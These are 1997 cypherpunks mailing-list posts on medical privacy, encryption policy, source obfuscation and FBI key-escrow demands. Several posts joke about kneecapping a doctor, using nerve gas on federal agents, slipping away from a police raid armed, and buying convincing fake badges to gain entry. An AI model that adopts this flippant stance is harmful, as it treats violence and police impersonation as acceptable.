bundling insurance and the rise of medicare/medicaid, well, the "free
market" in healthcare has become much less robust. (Fortunately Clinton's
socialistic health care plan was derailed.)

In other words, the reason a "free market" approach may not work right now
is because the market isn't free.

-Declan



At 13:14 -0800 10/28/97, Jennifer S. Granick wrote:
>Tim May wrote:
>
>>At 9:15 AM -0700 10/28/97, Declan McCullagh wrote:
>>
>>>Well, senator, perhaps the best way of protecting our privacy is to ensure
>>>that law enforcement officials need a search warrant before browsing
>>>through your medical files. Right now police do not need to go before a
>>>judge to get your records from your hospital or doctor's office; often
>>>"informal arrangements" exist. If a doctor or hospital wants to promise to
>>>"protect your privacy," they can't.
>>
>>Not just this, but doctors and nurses are under strong laws which forbid
>>them from keeping certain kinds of patient information private. For example:
>>
>>* under Tarasoff, counsellors and shrinks must "narc out" their patients
>>who are discussing their fantasies, dreams, past actions, future plans, etc.
>>
>
>This comment probably sent anyone out there who sees a therapist into a
>downward depressive spiral.  But don't worry!  That thing you said about
>your mother last week hasn't been reported to the Feds and included in your
>FBI file.
>
>Under Tarasoff, a psychiatrist has a duty to warn a foreseeable and
>identifiable potential victim of his patient's. In other words, if I have a
>fantasy about killing my boyfriend, he doesn't have to tell.  If I talk
>about killing my boyfriend, and my plans to do so, and it would be
>unreasonable for the doctor to think that I wasn't going to try to kill my
>boyfriend, then he has to warn my boyfriend to watch out.
>
>Please read nothing into the fact that I used killing my boyfriend as an
>example.
>
>>* gunshot and similar wounds may not be treated in privacy....doctors and
>>nurses face prison time if they don't narc out such patients
>>
>
>In California, its a misdemeanor punishable by up to 6 months in the county
>jail and/or a fine of up to $1000.  i.e. not state prison, but definitely
>potential jail time.
>
>-snip-
>
>>All we need to ensure medical privacy is a return to the right of contract.
>>I pay Dr. Jones for his services and for his agreement to not pass my
>>medical file around to his buddies, or to sell it to advertisers, or to let
>>"counter-terrorism" agents snoop around in his files. Sounds fair to me.
>>
>>(And if he violates this trust, kneecap him in the parking lot....it'll
>>send a message to other contract-breakers.)
>>
>
>Here Tim puts his finger on exactly why we can't depend on contracts to
>preserve our medical privacy.  What if the contract is violated?  You can't
>kneecap the guy (well, you *can*, but then we're talking another penal code
>section), and you can't sue him.  (What are your damages?  If they're
>difficult to calculate or forsee, they aren't recoverable under contract
>law.)
>
>The free market approach won't keep medical records private.  Neither will
>the Constitution.  We need federal legislation to create and protect that
>right.
>
>Jennifer Granick







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 28 Oct 1997 23:51:18 +0800
To: cypherpunks@Algebra.COM
Subject: Source code obfuscation
Message-ID: <Pine.BSF.3.96.971028165130.13198F-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



Is anyone familiar with tools that can be used to 
obscure source code so that it builds, but no longer
contains comments or useful variable or procedure
names?

Thanks,
-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Oct 1997 07:08:14 +0800
To: cypherpunks@cyberpass.net
Subject: Bob - FYI -- not sure if this was already posted ?
Message-ID: <v0311070bb07c1fb8b75d@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Tue, 28 Oct 1997 18:24:41 -0500
From: David Kaufman <davidk@air.com>
Reply-To: davidk@air.com
Organization: Allied International Resources
MIME-Version: 1.0
To: rah@shipwright.com
Subject: Bob - FYI -- not sure if this was already posted ?

12:51 PM ET 10/28/97

FBI chief calls for computer crime crackdown

            ORLANDO, Fla. (Reuters) - FBI director Louis Freeh said
Tuesday that criminals were moving increasingly into cyberspace
and without new laws ``drug dealers, arms dealers,  terrorists
and spies will have immunity like no other''.
            Freeh told the International Association of Chiefs of Police
that software manufacturers should be required by law to include
a feature that allows police to descramble encrypted
communications.
            ``It could take a $30 million supercomputer a year to figure
out the simplest encrypted message without this feature,'' Freeh
said. ``And that message might be 'we have the victim and will
kill him in an hour'.''
            ``We're not opposed to encrypting. Encrypting is very
important when transacting business but encrypting makes it very
hard to enforce court orders for surveillance.''
            Freeh said he supported a cyber surveillance law with these
features which passed out of the House Intelligence Committee.
That bill has the support of the FBI, Justice Department, Drug
Enforcement Administration and other federal law enforcement
agencies but does not have White House backing.
            ``Our own administration has not gotten behind this
initiative. There are some very powerful industry forces
opposing this,'' Freeh said.
            The ability of criminals to communicate with one another
with computers is changing the face of law enforcement, Freeh
said.
            ``All the boxes of evidence we used to bring back have been
replaced by hard drives and discs. When we graduate our agents
we give them in addition to a gun and a badge a laptop
computer.''
         ^REUTERS@

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@sabotage.org>
Date: Wed, 29 Oct 1997 01:20:42 +0800
To: cypherpunks@ssz.com
Subject: Re: Source code obfuscation
Message-ID: <199710281708.SAA10105@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green sez:

: Is anyone familiar with tools that can be used to 
: obscure source code so that it builds, but no longer
: contains comments or useful variable or procedure
: names?

I believe HP once was forced to supply sourcecode to
a French guvmint agency. They did just that, the source they
supplied would compile but there were no clues inside.
(don't have a ref for this story though) The French weren't
amused.

--
  Alex de Joode | usura@SABOTAGE.ORG | http://www.sabotage.org
	Sabotage Internet: Your Internet Problem Provider.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 29 Oct 1997 10:24:03 +0800
To: cypherpunks@Algebra.COM
Subject: I don't need no steenking badge...but I got one anyway
In-Reply-To: <199710282132.WAA09810@basement.replay.com>
Message-ID: <v0310280fb07c3cd80352@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:32 PM -0700 10/28/97, Anonymous wrote:

>I know what you're thinking, kid.
>You're thinking, "I'm going to try doing this on Halloween, and if I
>get caught, I'm going to tell mom and dad I was checking on the old
>lady's health."
>
>Forget it. You don't have a badge, and you're going to get your
>bottom tanned.

You should see some of the various realistic-looking badges one can buy at
the gun shows! From agencies and correctional departments and obscure law
enforcement agencies...but all very realistic-looking. Also availabe from
the back of various gun and survival magazines, but I like to look at
things in person, up close, before committing to a purchase.

This has some very slight ObCrypto connections, in that badges are, as a
class, taken to be "face value claims of authority." Flashing a badge is
often all it takes to gain entrance to a house, or access to controlled
areas.

So, with the proliferation of essentially perfect copies of badges, and
laser-printed credentials to match them, what happens to "real"
badge-carrying officers? (And just what _are_ real officers in an era of
ten thousand police and law enforcement jurisdictions, hundreds of agencies
authorized to have their agents carry guns and make arrests, and no
traceability, no top-down authentication system?)

--Lt. Timothy May, sworn Peace Officer, Lagrange County, CLS

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 29 Oct 1997 08:56:30 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Another CDR member?
Message-ID: <199710290053.SAA09994@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I received a subscription today from cypherpunks@comsec.com.

I believe there is another node on the CDR.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Sims" <jellicle@inch.com>
Date: Wed, 29 Oct 1997 09:02:33 +0800
To: Declan McCullagh <declan@well.com>
Subject: (off-topic--delete now) Re: Search warrants and Senate hearing o
In-Reply-To: <l03110700b07aea1a56ee@[207.33.180.233]>
Message-ID: <199710290004.TAA12015@arutam.inch.com>
MIME-Version: 1.0
Content-Type: text/plain



> If you're going to respond to Tim's post, you should copy him or
> cypherpunks... I've attached your whole message below...
> 
> I will respond to one point, though:
> 
> >The free market approach won't keep medical records private.
> 
> We haven't tried that approach yet, at least in the late 20th
> century. The wealth of federal regulation and involvement in health
> care is breathtaking. Ever since after WWII when for tax reasons
> businesses began bundling insurance and the rise of
> medicare/medicaid, well, the "free market" in healthcare has become
> much less robust. (Fortunately Clinton's socialistic health care
> plan was derailed.)
> 
> In other words, the reason a "free market" approach may not work
> right now is because the market isn't free.

Declan, every part of the "health-care market" that people are
complaining about, the parts of it that routinely and for fiscal
reasons violate people's privacy, are completely and utterly
dollar-driven and do not result from big nasty government making any
laws.  That HMO shlepping your medical record around to a dozen
adminstrators to decide whether or not to pay for your care?  Those
huge insecure insurance databases with information about what
diseses you're genetically susceptible to?  Those intrusive
questions and psychological screening tests at job interviews? 
Those urinalysis tests which screen for the presence of illegal
drugs, undisclosed prescription drugs and nicotine, with the
intention of firing you if *any* of the above test positive?  All are 
examples of a free market in health care information.

Oh, there are a few examples of government-caused privacy violations 
of health-care information.  I'm thinking of mandatory HIV/AIDS 
disclosure laws, Medicare information, and the fact that the 
government still hasn't figured out that putting all the health-care 
information they can get ahold of into a big database is a bad idea.  
These can certainly represent gross threats to individuals' privacy.  
(Haven't CDT and EPIC discussed this from time to time?  Though not 
extensively on either of the lists this is sent to, where it's 
assuredly off-topic.)  Yet, these aren't the abuses that people 
complain about /today/.

You're confusing services and information.

The US has the closest to a free-market in health-care information of 
any of the industrialized nations.  And people suffer for it every 
day.  You can say it's cool, it's Libertarianism in action, or you 
can think it stinks.

But don't try to blame those abuses on the government.

I found it astonishing that Tim May wrote:

"All we need to ensure medical privacy is a return to the right of
contract. I pay Dr. Jones for his services and for his agreement to
not pass my medical file around to his buddies, or to sell it to
advertisers, or to let "counter-terrorism" agents snoop around in his
files. Sounds fair to me."

Tim, you've got that right today, with a few minor exceptions like
gunshot wounds.  You have it!  You can insist on only going to a
doctor, or only belonging to an HMO, that won't share your
information around town!  The government has nothing to do with it! 
This "problem" you're talking about is solely a market failure
resulting from a nearly-pure, barely-adulterated free-market --- 
completely confidential health services are hard to obtain because 
they cost more and there isn't a sufficient market!  Those privacy 
violations occur because it helps companies make a profit, which 
outweighs your measly privacy concerns!

Gawd, libertarians complaining about a market failure.  I may cry.  


-- Michael Sims





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 29 Oct 1997 09:06:46 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Bob - FYI -- not sure if this was already posted ?
In-Reply-To: <v0311070bb07c1fb8b75d@[139.167.130.246]>
Message-ID: <199710290101.UAA00406@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0311070bb07c1fb8b75d@[139.167.130.246]>, on 10/28/97 
   at 06:03 PM, Robert Hettinga <rah@shipwright.com> said:

>            ``All the boxes of evidence we used to bring back have been
>replaced by hard drives and discs. When we graduate our agents we give
>them in addition to a gun and a badge a laptop
>computer.''


They should give them a copy of the Constitution and a conscience.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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t3GomXkdh8jR4ApeWm/tDLbyrnJ3TtgAwJHiJhrel1zRWZhL/iuPxcwkIHkG5uFS
XCb4FakndNDPpb/1Dk8NiZopZkQ4zvBp0Dfj7aQ9VV8tBffi9lBDNI8w8CLHf90f
WqEXcJ+juPg=
=lqGF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 29 Oct 1997 14:32:52 +0800
To: Michael Sims <jellicle@inch.com>
Subject: Re: (off-topic--delete now) Re: Search warrants and Senate hearing o
In-Reply-To: <l03110700b07aea1a56ee@[207.33.180.233]>
Message-ID: <34568F07.6F0B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Michael Sims wrote:
> Declan wroted: 
> > Somebody writ:
> > >The free market approach won't keep medical records private.
> >
> > We haven't tried that approach yet, at least in the late 20th
> > century.
...
> > In other words, the reason a "free market" approach may not work
> > right now is because the market isn't free.

> Declan, every part of the "health-care market" that people are
> complaining about, the parts of it that routinely and for fiscal
> reasons violate people's privacy, are completely and utterly
> dollar-driven and do not result from big nasty government making any
> laws.

  Right. And you're going to use examples pertaining to huge 
health industry corporations who exist only because of the mountains 
of government regulations which keep small health care providers
from providing simple, sane market options.

>  That HMO...
> huge insecure insurance databases...
> 
> Oh, there are a few examples of government-caused...

  Do not pass GoFuckYourself. Do not collect 200 Reputation Capital
Credits.

  The totality of today's medical profession and health care system
*is* 'government-caused.'
  You can't piss in a pot you keep under your bed without violating
a hundred laws from the Health Department to the EPA to...
  Kiss your child's 'stubbed' toe 'better' and you'll end up in prison
for unlawfully practicing medicine.

> The US has the closest to a free-market in health-care information of
> any of the industrialized nations.

  Earth to Michael! Earth to Michael...

> Gawd, libertarians complaining about a market failure.  I may cry.

  No. Libertarians complaining about government perversion of a
free market.
  If you cry, make sure you wipe those tears with a towel that meets
government standards. (Cost: $3,000.00)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 29 Oct 1997 08:35:40 +0800
To: <CYPHERPUNKS@ssz.com>
Subject: Re: Saving money
Message-ID: <199710290025.TAA14411@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 10/25/97 7:30 AM, harka@nycmetro.com (harka@nycmetro.com)  passed this 
wisdom:

>Your repeating of government-propaganda about the "abuse of the
>welfare-system" etc. doesn't really cut it as an argument in a
>discussion about the realism of having total financial independence
>and the freedom of choices, that comes with it.

 no he is not .... he is repeating what we all see in the grocery store 
checkout lines and in the gutters with regularity ... even here in 
Vermonte where self-sufficiency is a way of life we see third, fourth, 
and fifth generation welfare families. I literally just came from picking 
up groceries in a Grand Union in Essex Junction (biiiggg suburb of 
Burlington, also home of a big IBM plant) the lady in fromt of me was 
playing the food stamp game ... there was more junk in that basket along 
with the beer. I teach 'at risk' students in a high school near here and 
I am dealing with kids who have some potential to do something with 
themselves and have no inclination to try. I have a kid who is definitely 
got the brains to go to college to do something with himself whose main 
aim in life right now was figuring out how to forge the slip for free 
school lunches for him and his sister so he can pocket the lunch money 
from his parents ... yeah, I know, send him into politics!


Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "...Those of you who turned your swords into plowshares will soon
  find yourselves under the yokes of those of us who kept our swords..." 
      -- author unknown






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 29 Oct 1997 09:52:13 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..)
In-Reply-To: <199710282249.WAA02819@server.test.net>
Message-ID: <34569547.2520@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote: 
> Attila T. Hun <attila@hun.org> writes:
> > Mrs.  Allen, 51, has attracted the sympathy of many neighbors, and
> > her case has become a rallying point for those who compare it to
> > Ruby Ridge and Waco as an example of overzealous law enforcement.
> >
> >     she needs more than sympathy, she needs some action!
 
> I'm wondering ... surely all those militia types are watching this
> case -- wouldn't it be a real coo to intervene and rescue Mrs Allen
> :-)
> 
> Let's talk tactics ... how would you disable the Feds without killing
> Mrs Allen -- helicopter and nerve gas -- well organised get away?

  Perhaps a variation on the 'Parker Plan' might work.

The Date: Mid 1980's
The Situation: Sitting in the hills of Humboldt County, Ca. guarding the
  'patch'. Relaxing on the half-moon commode when there comes the sound
  of CAMP (Campaign Against Marihuana Production) vehicles and
helicopters
  coming over the hill.
The Solution: Put on shades and baseball cap, tuck .45 in belt, join the
  'crew' as they march toward the shack, kick the door in, grab the TV
  and a chainsaw, go outside and throw them into one of the vehicles,
  wave to the 'guys', saying, "You guys get the pot, and I'll meet you
  back in town."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul Spirito" <berezina@qed.net>
Date: Wed, 29 Oct 1997 10:27:57 +0800
To: "Fight Censorship" <fight-censorship@vorlon.mit.edu>
Subject: Re: (off-topic--delete now) HMO Market (URL)
Message-ID: <01bce408$2c56f960$3f7d8dcc@Berezina>
MIME-Version: 1.0
Content-Type: text/plain



I think the subject is too complex & off-topic to discuss here, but

http://www.slate.com/medicalexaminer/97-10-24/medicalexaminer.asp

is an excellent exposition of the problems with HMOs, using a market-based
analysis.

Paul

"The fear is of profit deflation emanating from Asia."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 29 Oct 1997 10:55:57 +0800
To: cypherpunks@toad.com
Subject: Alan Found! / Re: Roby latest
In-Reply-To: <199710281825.NAA09614@jafar.issl.atl.hp.com>
Message-ID: <34569CA6.410@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote: 
> Jeff Barber wrote:
> > See http://www.sj-r.com/roby.html for the latest.
> > My favorite excerpt:
> > > Illinois State Police feared that any progress in getting Allen - who's
> > > suspected to suffer from paranoia, delusions and suicidal thoughts - to
> > > exit on her own may have been undone. On Sunday, troopers broke out most
> > > of the remaining windows in Allen's house, tossed nine pepper-spray
> > > grenades inside and sent a police dog in to subdue Allen.

> I used to run a 24-hour Drop-In Center which had trained volunteer
> counsellors on staff around the clock.
> I was checking on the night shift one time, and heard Alan, one of
> the night counsellors, telling a paranoid schizophrenic (who had
> come to the Center when the walls began closing in on him at 4 a.m.),
> "I'm a Warlock, you know. I could kill you just by looking at you."
> 
> I always wondered what became of Alan. Anyone spot him at Roby Ridge?

  A few days after the episode above, some of the employees were
giving Alan shit for sleeping on the nightshift, and thus not
being available to help those who came in to the Drop-In Center.
  Alan replied that, as a Warlock, he was not sleeping, but was
in a very deep state of meditation, able to hear a pin drop,
anywhere in the building.
  Sure enough, a couple days later, Alan was in his deep state
of meditation when someone came in and stole the TV set which
was sitting a few feet from his head.

>From News of the Weird:
* In January, Prime Minister H. D. Deve Gowda of India told a
meeting of government employees in Bangalore that, in contrast
with his image of laziness, he is actually a workaholic.  The various
photographs of him dozing off during official meetings are not
accurate, he said.  "Most of the time I am in deep thought about
various welfare programs for the people." 

  Right. That would account for the holes in his arm...

OffTopicMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Wed, 29 Oct 1997 12:39:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bob - FYI -- not sure if this was already posted ?
In-Reply-To: <v0311070bb07c1fb8b75d@[139.167.130.246]>
Message-ID: <3.0.3.32.19971028202208.0312e638@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713744.multipart/signed"

--Boundary..3985.1071713744.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

>            ORLANDO, Fla. (Reuters) - FBI director Louis Freeh said
>Tuesday that criminals were moving increasingly into cyberspace
>and without new laws ``drug dealers, arms dealers,  terrorists
>and spies will have immunity like no other''.
>            Freeh told the International Association of Chiefs of Police
>that software manufacturers should be required by law to include
>a feature that allows police to descramble encrypted
>communications.
>            ``It could take a $30 million supercomputer a year to figure
>out the simplest encrypted message without this feature,'' Freeh
>said. ``And that message might be 'we have the victim and will
>kill him in an hour'.''

Like a kidnapper is really going to encrypt a ransom note so the kidnap
victim's friends won't be able to figure out how to deliver the ransom
money.  DUHHHHHHH!


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

Stupidity is the one arena of of human achievement where most people
fulfill their potential.

--Boundary..3985.1071713744.multipart/signed
Content-Type: application/octet-stream; name="pgp00009.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00009.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5GYTdKc0pGMGtYcXB3
M01FUUkvSkFDZmF0aTZHYVRnWWFlNXF2MisyWTIrQnpoU0h1d0FvTTZiCkZl
TEZldGd1RWtteGpwa3FlYzlpTUhTUAo9M2xIMQotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3985.1071713744.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Oct 1997 03:44:44 +0800
To: cypherpunks@toad.com
Subject: ITAR a la Canada
Message-ID: <199710281924.UAA25841@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Anyone know if Canada has accepted all of the restrictions
under ITAR?

Specifically, U.S. companies must (I assume) identify your
domain before permitting access to restricted versions of
software.  Does the same apply for Canada?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 29 Oct 1997 15:10:00 +0800
To: Julian Assange <cypherpunks@toad.com
Subject: Re: cryptographic anecdotes
In-Reply-To: <19971027010829.851.qmail@iq.org>
Message-ID: <3.0.3.32.19971028203232.00691d48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:08 AM 10/27/1997 -0000, Julian Assange wrote:
>I'm involved in producing a segment on cryptograpic issues for Radio
>National (ABC) to be aired latter this week. I have no problems with
>the technical issues but could use some (reliable) "colour" i.e small

Cool.

My usual rant on cryptography and privacy goes like this:
	[If you're talking to non-Americans, fill in your local
	versions of Bureaucratic TaxID numbers...]
- How may of you like to fill out forms with your Social Security Number?
It's so convenient, having one little number that ties in everything,
from your taxes to your bank accounts to your credit reports to your
cellphone to your credit cards to all the jobs you've worked to
the $25 lunch you had yesterday and the books you bought at Borders
to the people you live with to the gasoline your roommate Bob bought 
for your car Friday night?   Me neither.   

Computers are really good at tying information together -
take one thing you know, and they can connect it to other things they know -
and they're getting so ridiculously cheap that the only reason they
_don't_ tie two things together is that nobody's figured out how to
make money off of that combination yet.  We know that after Bob bought gas,
he had a couple of drinks at a bar where many of the other patrons 
use the same credit cards at gay bookstores, but we just haven't decided yet
whether to send _you_ some discount coupons for the same bookstores,
or to suggest that your girlfriend Alice get an AIDS test before we'll
give her medical insurance at her new job.  After all, we're already testing her
cholesterol level because of all the pork you've been buying at Safeway.

So what can we do about it?  Computers keep getting cheaper 
and faster every year, and that won't stop.  Laws don't help much.
Some European governments try data privacy laws, but they're mainly an 
excuse to inspect _your_ computer for illicit data -
the same governments already require you to join the National Health Care
and carry a National ID card in many of them, and pay income tax,
and there's that nice new EC driver's license instead of the old 
one from each country.  The US makes some noise about that,
but it's the same government that's making you give your SSN and
thumbprint to get a driver's license and registering all kids with the IRS.

If you can't stop people from combining information, the alternative
is don't give it to them - use cash, but more importantly build computer
systems that let businesses solve their business problems without
universal identifiers.  Use employee ID numbers on forms instead of SSNs
(and in a global business environment, it's pretty dumb to do otherwise.)
Use cryptographic techniques, like digital cash, to let people buy things
on the web without sending your credit card numbers.  There's some cool
work by David Chaum on creating credentials, like driver's licenses that 
keep track of your tickets but don't use ID numbers, and voter registration
that indicates your voting district and status but aren't tied to the census
that says three of your neighbors are black with Haitian parents.
You can give everybody a stack of taxpayer-ids, whether
on paper or on a smartcard, any bank or employer that needs to collect
taxes on you has a number to use, but only the IRS can tie them together,
because nobody else needs to.  9-digit SSNs are running out soon anyway;
we could change to something secure for the next time.

Chaum's digicash system was designed for automated road tolls, so you can
drive through the tollbooth without slowing down, and the toll system takes
the money off your smartcard, without telling Big Brother where _you_ were.
Here in California, we can send a monthly bill to the address on your license,
but there are European countries that are still remember having German or 
Russian soldiers running them and want an infrastructure they can't abuse.
We're more worried about the automatic traffic fines, when your car didn't take
enough minutes to get from Exit 4 to Exit 17 Friday night.  You know,
the exit by that bar Bob went to.  Next door to the synagogue bookstore.

There's an alternative to crypto - it's "give up privacy".  
Go the David Brin route, and make sure that if the police have
video cameras everywhere pointed at you, you and your neighbors
have video cameras everywhere pointed at them.  Ask Rodney King
if that matters - or ask the next cop who wants to beat up the next driver.
Cameras keep getting cheaper and smaller, and networks to tie them
together and computers to interpret the pictures are getting faster.

And the police do have cameras - last year, when San Francisco was planning
to close the Central Freeway for repairs, they video taped all the cars 
for a few days, looked up the license plate numbers, and mailed the drivers
postcards asking them to take a different road when construction started.
It worked real well, especially because they didn't need 100% coverage.
They used cheap labor to read the license plates off the video tapes,
but computers can do it in real time if you need to do it often,
and they can match the SSN on your car registration with the SSN
on your tax forms from work, so they _could_ send you a nice postcard
suggesting the best router to get to _your_ office.  And a coupon for 
the Starbucks drivethrough on the way.  So Have A _Nice_ Day!

>o programming languages embody freedom of speech

One of my favorite programming languages is Algol.
It's designed for describing mathematical problems very precisely
for humans, and it was the standard language used by the
"Communications of the ACM" journal for many years.
	[ACM=Association for Computing Machinery].
It's not designed for telling computers what to do,
though there is computer software that will read Algol
and do it.  But if an American math teacher writes a couple  
lines of mathematics in Algol and emails them to a non-American student,
he'd better be a registered international arms dealer,
or he can be busted....
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Wed, 29 Oct 1997 11:19:10 +0800
Subject: Re: Infastructure Protection and Paranoia
In-Reply-To: <3455885C.204E@dev.null>
Message-ID: <Pine.OSF.3.96.971028162119.2676B-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



>   Why don't you phone up NSA and tell them that you made a Xerox (TM)
> copy of the InfoWar plans left overnight at the bar/lounge at the 
> Holiday Inn in Albuquerque last week?

How the hell did my papers get *there*? :-)

[Before you even ask, NO, those weren't my papers]

...
>   These rocket scientists can't figure out that our infrastructures
> might not need all that much defending if our dearly beloved LEA's,
> overt and covert, were not sticking foreign objects in the citizen's
> anus, sabotaging other countries' infrastructures and economies,
> assassinating citizens and foreign citizens, etc., etc.

Well, even if the establishment weren't as screwed as it is, you'd still have a
few purely sadistic people (or people maligned by someone other than Uncle Sam
and his relatives) attacking the infrastructure...enough of them that the
infrastructures (that's one damn cool word) would still need good cryptographic
protection. 

> 
>   The world is threatened by the DOD...

Screwballs with nukes they may be, but their job is still to defend the U.S.; 
you'd think you could at least trust them to keep the power/water/phone lines
from being a target for an attack.

> 
> TruthMonger

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Wed, 29 Oct 1997 15:12:33 +0800
To: "wabe" <wabe@smart.net>
Subject: Attention, Third Balcony (was: Re: PGP and Outlook)
In-Reply-To: <01bce439$c1400b80$af7f61ce@dave>
Message-ID: <v04002003b07c7d130a2d@[205.180.136.85]>
